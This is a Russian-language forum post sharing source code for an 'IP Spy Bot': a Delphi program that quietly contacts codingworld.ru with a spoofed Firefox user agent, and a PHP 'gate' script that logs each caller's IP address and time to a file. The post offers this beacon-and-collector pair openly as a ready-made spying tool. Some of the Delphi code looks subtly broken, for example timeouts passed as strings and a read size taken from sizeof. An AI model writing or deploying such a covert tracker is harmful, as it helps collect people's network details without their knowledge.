Windows 95
Регистрация: 19.11.2010
Сообщений: 95
Поблагодарили всего: 46 за это сообщение: 1
|
IP Spy Bot2 by Boolean
IP Spy Bot by Boolean, codingworld.ru
Wininet
Код:
program ipbot;
type
DWORD = LongWord;
HINTERNET = Pointer;
BOOL = LongBool;
INTERNET_PORT = Word;
LPSTR = PAnsiChar;
PLPSTR = ^LPSTR;
const
winetdll = 'wininet.dll';
INTERNET_DEFAULT_HTTP_PORT = 80;
INTERNET_FLAG_RELOAD = $80000000;
INTERNET_FLAG_IGNORE_CERT_CN_INVALID = $00001000;
INTERNET_FLAG_NO_CACHE_WRITE = $04000000;
INTERNET_FLAG_PRAGMA_NOCACHE = $00000100;
INTERNET_FLAG_KEEP_CONNECTION = $00400000;
INTERNET_OPEN_TYPE_PRECONFIG = 0;
INTERNET_OPTION_CONNECT_TIMEOUT = 2;
INTERNET_OPTION_SEND_TIMEOUT = 5;
INTERNET_OPTION_RECEIVE_TIMEOUT = 6;
INTERNET_OPTION_DATA_SEND_TIMEOUT = 7;
INTERNET_OPTION_DATA_RECEIVE_TIMEOUT = 8;
INTERNET_OPTION_DISCONNECTED_TIMEOUT = 49;
INTERNET_SERVICE_HTTP = 3;
HTTP_VERSION = 'HTTP/1.0';
function InternetOpen(lpszAgent: PChar; dwAccessType: DWORD;
lpszProxy, lpszProxyBypass: PChar; dwFlags: DWORD): HINTERNET; stdcall; external winetdll name 'InternetOpenA';
function InternetSetOptionW(hInet: HINTERNET; dwOption: DWORD;
lpBuffer: Pointer; dwBufferLength: DWORD): BOOL; stdcall; external winetdll name 'InternetSetOptionW';
function InternetConnect(hInet: HINTERNET; lpszServerName: PChar;
nServerPort: INTERNET_PORT; lpszUsername: PChar; lpszPassword: PChar;
dwService: DWORD; dwFlags: DWORD; dwContext: DWORD): HINTERNET; stdcall; external winetdll name 'InternetConnectA';
function HttpOpenRequest(hConnect: HINTERNET; lpszVerb: PChar;
lpszObjectName: PChar; lpszVersion: PChar; lpszReferrer: PChar;
lplpszAcceptTypes: PLPSTR; dwFlags: DWORD;
dwContext: DWORD): HINTERNET; stdcall; external winetdll name 'HttpOpenRequestA';
function HttpSendRequest(hRequest: HINTERNET; lpszHeaders: PChar;
dwHeadersLength: DWORD; lpOptional: Pointer;
dwOptionalLength: DWORD): BOOL; stdcall; external winetdll name 'HttpSendRequestA';
function InternetQueryDataAvailable(hFile: HINTERNET; var lpdwNumberOfBytesAvailable: DWORD;
dwFlags, dwContext: DWORD): BOOL; stdcall; external winetdll name 'InternetQueryDataAvailable';
function InternetReadFile(hFile: HINTERNET; lpBuffer: Pointer;
dwNumberOfBytesToRead: DWORD; var lpdwNumberOfBytesRead: DWORD): BOOL; stdcall; external winetdll name 'InternetReadFile';
function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall; external winetdll name 'InternetCloseHandle';
procedure sendip;
var
hInternet, hConnect, hRequest : pointer;
dwBytesRead,I,Z,FCon,FReq : Cardinal;
headers,resultp,res,szdata: String;
dwcode: array[1..20] of char;
begin
headers :=
'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1' +#13#10 +
'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8' +#13#10+
'Content-Type: application/x-www-form-urlencoded' + #13#10 +
'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1' + #13#10+
'Accept-Encoding: deflate' +#13#10+
'Cookie2: $Version=1' + #13#10+
'Connection: Keep-Alive, TE' +#13#10+
'TE: deflate, gzip, chunked, identity, trailers';
szdata:='';
FCon := INTERNET_DEFAULT_HTTP_PORT;
FReq := INTERNET_FLAG_RELOAD or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_CACHE_WRITE or INTERNET_FLAG_PRAGMA_NOCACHE or INTERNET_FLAG_KEEP_CONNECTION;
hInternet := InternetOpen('Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 MRA 5.6 (build 03278) Firefox/3.6.8', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
InternetSetOptionW(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT,PChar('10000'),Length('10000'));
InternetSetOptionW(hInternet, INTERNET_OPTION_SEND_TIMEOUT,PChar('10000'),Length('10000'));
InternetSetOptionW(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT,PChar('10000'),Length('10000'));
InternetSetOptionW(hInternet, INTERNET_OPTION_DATA_SEND_TIMEOUT,PChar('10000'),Length('10000'));
InternetSetOptionW(hInternet, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT,PChar('10000'),Length('10000'));
InternetSetOptionW(hInternet, INTERNET_OPTION_DISCONNECTED_TIMEOUT,PChar('10000'),Length('10000'));
if Assigned(hInternet) then
begin
hConnect := InternetConnect (hInternet, PChar('codingworld.ru'), FCon, nil, nil, INTERNET_SERVICE_HTTP, 0 ,1);
if Assigned(hConnect) then
begin
hRequest:= HttpOpenRequest(hConnect,PChar('GET'), PChar('/index.php'), HTTP_VERSION, 'codingworld.ru', nil, FReq, 1);
if Assigned(hRequest) then
begin
I:=1;
if HttpSendRequest(hRequest,PChar(headers), Length(headers), PChar(szData), 0) then
begin
repeat
InternetQueryDataAvailable(hRequest, Z, 0, 0);
if Z = 0 then break;
SetLength(resultp, Z+I);
if InternetReadFile(hRequest, @resultp[I], sizeof(Z), dwBytesRead) then
else break;
inc(I, dwBytesRead);
until dwBytesRead = 0;
resultp[I] := #0;
res := PChar(@dwcode);
end;
end;
InternetCloseHandle(hRequest);
end;
InternetCloseHandle(hConnect);
end;
InternetCloseHandle(hInternet);
end;
begin
sendip;
end.
гейт
Код:
<?php
$ip=$_SERVER['REMOTE_ADDR'];
$all=date("m.d.Y H:i:s").' : '.$ip;
$base = fopen('base.txt', "a+");
fwrite($base, $all."\r\n");
fclose($base);
?>
|